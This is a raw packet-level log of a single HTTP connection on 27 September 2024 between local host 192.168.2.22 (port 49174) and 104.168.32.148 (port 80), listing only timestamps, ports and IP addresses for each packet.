Sep 27, 2024 12:51:55.648124933 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648170948 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.648189068 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648220062 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648253918 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648269892 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.648288012 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648322105 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648330927 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.648432016 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648463964 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648478031 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.648495913 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648528099 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648544073 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.648561001 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648592949 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.648603916 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.651635885 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.651669025 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.651700974 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.651709080 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.651791096 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.651802063 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.651905060 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.651938915 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.651956081 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.651972055 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.652015924 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.652023077 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.652056932 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.652090073 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.652102947 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.653191090 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.653234005 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.653240919 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.653249025 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.653290033 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.653340101 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.653354883 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.653368950 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.653383970 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.653398037 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.653415918 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.653486967 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.653502941 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.653517962 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.653538942 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.665014982 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.669918060 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.670423985 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.670475006 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.687973976 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.687992096 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.688008070 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.688040018 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.734184027 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734234095 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.734235048 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734298944 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734321117 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734335899 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734349012 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.734349012 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734380007 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.734451056 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734466076 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734479904 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734493971 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.734493971 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734512091 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734525919 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734527111 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.734565020 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.734669924 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734760046 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734774113 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734788895 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.734801054 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.734831095 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735013962 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735022068 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735034943 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735049009 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735063076 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735069990 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735090017 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735188961 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735203028 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735217094 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735229015 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735233068 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735244036 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735253096 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735258102 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735272884 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735286951 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735286951 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735301971 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735301971 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735347986 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735445023 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735460043 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735480070 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735493898 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735493898 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735507965 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735522985 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735533953 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735538960 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735553026 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735565901 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735596895 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735815048 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735830069 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735843897 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735857010 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735871077 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735872984 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735887051 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735893965 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735902071 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735915899 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.735929966 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.735960960 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.736087084 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.736135006 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.736149073 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.736155033 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.736169100 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.736188889 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.736202002 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.736203909 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.736218929 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.736232042 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.736232996 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.736248970 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.736262083 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.736295938 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.739125013 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739183903 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739197969 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739234924 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739248991 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.739248991 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739264011 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739285946 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.739363909 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739378929 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739403963 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.739408970 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739455938 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.739490986 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739506960 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739528894 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739542961 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739553928 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.739558935 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739589930 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.739670038 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.739749908 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739801884 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739816904 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739844084 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.739869118 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739883900 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739897966 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739912987 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.739914894 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.739936113 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740009069 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740025997 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740072966 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740093946 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740108013 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740144014 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740155935 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740156889 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740174055 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740186930 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740200996 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740219116 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740264893 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740282059 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740386963 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740401030 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740415096 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740427971 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740431070 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740442991 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740458012 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740458965 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740469933 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740489960 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740528107 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740549088 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740571022 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740583897 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740614891 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740694046 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740708113 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740720987 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740734100 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740742922 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740747929 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740777969 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740845919 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740860939 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740875006 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740888119 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.740894079 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.740915060 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.776338100 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.776370049 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.776382923 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.776436090 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.776479959 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.776495934 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.776510954 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.776525021 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.776530027 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.776565075 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.822833061 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.822864056 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.822879076 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.822911024 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.822937012 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.822968006 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823008060 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823020935 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823051929 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823059082 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823092937 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823106050 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823120117 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823127031 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823172092 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823187113 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823214054 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823230982 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823416948 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823432922 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823446989 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823461056 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823476076 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823510885 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823549986 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823565006 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823579073 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823592901 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823606014 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823637962 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823807955 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823822021 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823834896 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823848963 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823863029 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823863983 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823877096 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823892117 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823898077 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823905945 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823918104 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.823923111 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.823951006 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824109077 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824124098 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824136972 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824151993 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824155092 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824167967 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824173927 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824204922 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824404001 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824418068 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824431896 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824445963 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824459076 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824460983 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824474096 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824481964 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824490070 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824505091 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824516058 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824518919 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824534893 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824548960 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824562073 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824734926 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824831009 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824845076 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824858904 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824870110 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824872971 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824888945 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824892044 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824903965 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824918985 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.824925900 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.824956894 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825376034 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825390100 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825402975 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825417042 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825429916 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825433969 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825445890 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825454950 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825460911 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825474977 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825486898 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825489998 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825505972 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825519085 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825520039 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825534105 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825539112 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825550079 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825565100 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825572968 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825579882 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825593948 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825603008 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825608969 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825623989 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825634956 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825637102 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825651884 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825666904 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825685978 CEST	49174	80	192.168.2.22	104.168.32.148
Sep 27, 2024 12:51:55.825953960 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825968981 CEST	80	49174	104.168.32.148	192.168.2.22
Sep 27, 2024 12:51:55.825983047 CEST	80	49174	104.168.32.148	192.168.2.22
